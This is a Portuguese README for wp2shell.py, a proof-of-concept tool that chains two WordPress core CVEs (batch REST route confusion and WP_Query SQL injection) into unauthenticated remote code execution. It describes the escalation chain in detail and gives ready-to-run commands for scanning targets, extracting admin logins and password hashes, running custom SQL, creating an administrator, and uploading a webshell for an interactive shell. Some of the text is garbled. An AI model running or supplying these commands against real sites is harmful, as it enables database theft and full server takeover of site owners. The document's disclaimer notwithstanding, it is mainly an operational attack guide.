
CVE-2026-63030 & CVE-2026-60137 prova de conceito de cadeia de RCE
⚠ Esta ferramenta é criada exclusivamente para fins educacionais ou de bug bounty. O uso não autorizado fora de ambientes controlados é estritamente proibido.
Prova de conceito para a cadeia de vulnerabilidades wp2shell que afeta o núcleo do WordPress, combinando CVE-2026-63030 e CVE-2026-60137. O projeto demonstra a interação entre a vulnerabilidade de confusão de rota do lote (Batch) da REST API e uma injeção de SQL no WP_Query, resultando em um caminho não autenticado para o comprometimento total do WordPress e execução remota de código (RCE).
Leia o comunicado completo aqui
wp2shell é uma cadeia de RCE de pré-autenticação no núcleo do WordPress, combinando CVE-2026-63030 (confusão de rota no endpoint REST de lote) e CVE-2026-60137 (injeção de SQL no WP_Query).
A confusão de rota: /wp-json/batch/v1 processa múltiplas sub-requisições por meio de arrays paralelos $matches e $validation indexados por posição. Uma sub-requisição com um caminho malformado (por exemplo, http://:) é anexada a $validation, mas não a , devido a uma instrução , dessincronizando os arrays. Requisições posteriores são despachadas sob o handler destinado à requisição, contornando a validação de esquema e as verificações de permissão.
$matchescontinueA injeção de SQL: Duas chamadas de lote aninhadas exploram isso. O lote externo contorna a allow-list de métodos (que normalmente bloqueia GET). O lote interno entrega uma string escalar author_exclude a GET /wp/v2/posts - a dessincronização a roteia além da validação, e o WP_Query interpola a string não sanitizada diretamente no SQL, resultando em uma injeção cega baseada em UNION.
Envenenamento de cache: A SQLi retorna objetos WP_Post forjados, que o WordPress armazena em cache na memória. Esses posts falsos contêm shortcodes [embed] que fazem o WordPress criar linhas reais de oembed_cache no banco de dados a partir das referências falsas.
Escalonamento por changeset: Usando a SQLi, o atacante forja um post customize_changeset em memória com "user_id": 1 em seu JSON. Um gadget de detecção de ciclo aciona wp_update_post() sem sobrescrever post_content, preservando o payload do atacante. Aplicar o changeset assume temporariamente a identidade do administrador.
Reentrada por hook: Um post fabricado com status parse e tipo request dispara o hook parse_request, repetindo toda a requisição de lote com o papel de administrador assumido. Desta vez, uma sub-requisição POST /wp/v2/users é bem-sucedida, criando uma nova conta de administrador.
Execução de código: O atacante faz login como o administrador criado e envia um plugin malicioso para executar comandos arbitrários.
| Versão | Status |
|---|---|
| WordPress 6.9.0 – 6.9.4 | Vulnerável |
| WordPress 7.0.0 – 7.0.1 | Vulnerável |
| WordPress 6.9.5 | Corrigido |
| WordPress 7.0.2+ | Corrigido |
Para usar este PoC, o único requisito é Python 3.8+.
Execute-o a partir do diretório do repositório para realizar uma verificação de vulnerabilidade:
wp2shell.py http://victim.com
Realiza uma única verificação de vulnerabilidade. Envia uma sonda benigna de marcador de lote que detecta o bug de confusão de rota sem executar payloads de SQLi. Um alvo vulnerável retorna HTTP 207 com o padrão de erro parse_path_failed, block_cannot_read e rest_batch_not_allowed.
Use --confirm-sqli para também enviar um payload ativo de confirmação de SQLi. A confirmação tenta primeiro a reflexão por UNION e, em seguida, recorre a sondas baseadas em temporização.
Verificar um único alvo (modo padrão)
wp2shell.py http://target.com
Verificar com modo explícito
Check with explicit mode
wp2shell.py http://target.com --check
Verificar com confirmação de SQLi
wp2shell.py http://target.com --check --confirm-sqli
Extrai dados do banco de dados usando a injeção de SQL de pré-autenticação. Por padrão, usa --technique auto, que tenta os métodos disponíveis nesta ordem:
WP_Post falsa via UNION e lê seu título de volta na resposta REST como ||HEX(value)||. Uma requisição por valor. Mais rápido.EXTRACTVALUE/UPDATEXML para vazar ~15 bytes por requisição. Funciona quando o alvo reflete erros do MySQL (por exemplo, WP_DEBUG_DISPLAY ativado).X-WP-Total como o sinal de verdadeiro/falso. Funciona mesmo quando nenhum dado é refletido.Force uma técnica específica com --technique union|error|blind. Esses caminhos de leitura são somente leitura e não gravam no banco de dados.
Fingerprint do servidor (consulta padrão)
wp2shell.py http://target.com --read
Extrair logins e hashes de senhas
wp2shell.py http://target.com --read --preset users
Consulta SQL personalizada
wp2shell.py http://target.com --read --query "SELECT @@version"
Forçar técnica blind
wp2shell.py http://target.com --read --technique blind --query "SELECT user_login FROM wp_users LIMIT 1"
Extrair com técnica baseada em erro
wp2shell.py http://target.com --read --technique error --query "SELECT user_pass FROM wp_users LIMIT 1"
Executa comandos no servidor alvo. Funciona em dois modos:
Com credenciais (faz login como administrador existente e envia o plugin shell):
Executar comando específico
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --cmd id
Shell interativo
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --interactive
Without credentials (pre-auth RCE - runs the full SQLi→admin bridge, logs in as generated admin, then uploads plugin shell):
Executar comando único
wp2shell.py http://target.com --shell --cmd id
Shell interativo
wp2shell.py http://target.com --shell --interactive
O webshell do plugin é enviado com um caminho aleatório e um token por execução. O webshell enviado é removido automaticamente. Quando a ponte de pré-autenticação cria um administrador, essa conta gerada é removida automaticamente após o término da sessão de shell.
Lista de todas as flags:
| Flag | Descrição |
|---|---|
--check | Executar verificação de vulnerabilidade (modo padrão se nenhum outro modo for especificado) |
--read | Extrair dados via injeção de SQL |
--shell | Executar comandos no servidor |
--query | Consulta SQL personalizada para o modo de leitura |
--preset | Predefinição de consulta (users, config, versions) |
--technique | Técnica de extração SQLi: union, error, blind ou auto (padrão) |
--confirm-sqli | Enviar payload de confirmação de SQLi após a verificação |
--cmd | Comando a executar no modo shell (padrão: id) |
--interactive, -i | Modo shell interativo |
--user | Nome de usuário admin para shell autenticado |
--password | Senha do admin para shell autenticado |
--proxy | Proxy HTTP/HTTPS (ex.: http://127.0.0.1:8080) |
--timeout | Tempo limite de requisição em segundos (padrão: 30) |
--verbose, -v | Saída detalhada |
Esta ferramenta é criada exclusivamente para fins educacionais ou de bug bounty. O uso não autorizado fora de ambientes controlados é estritamente proibido.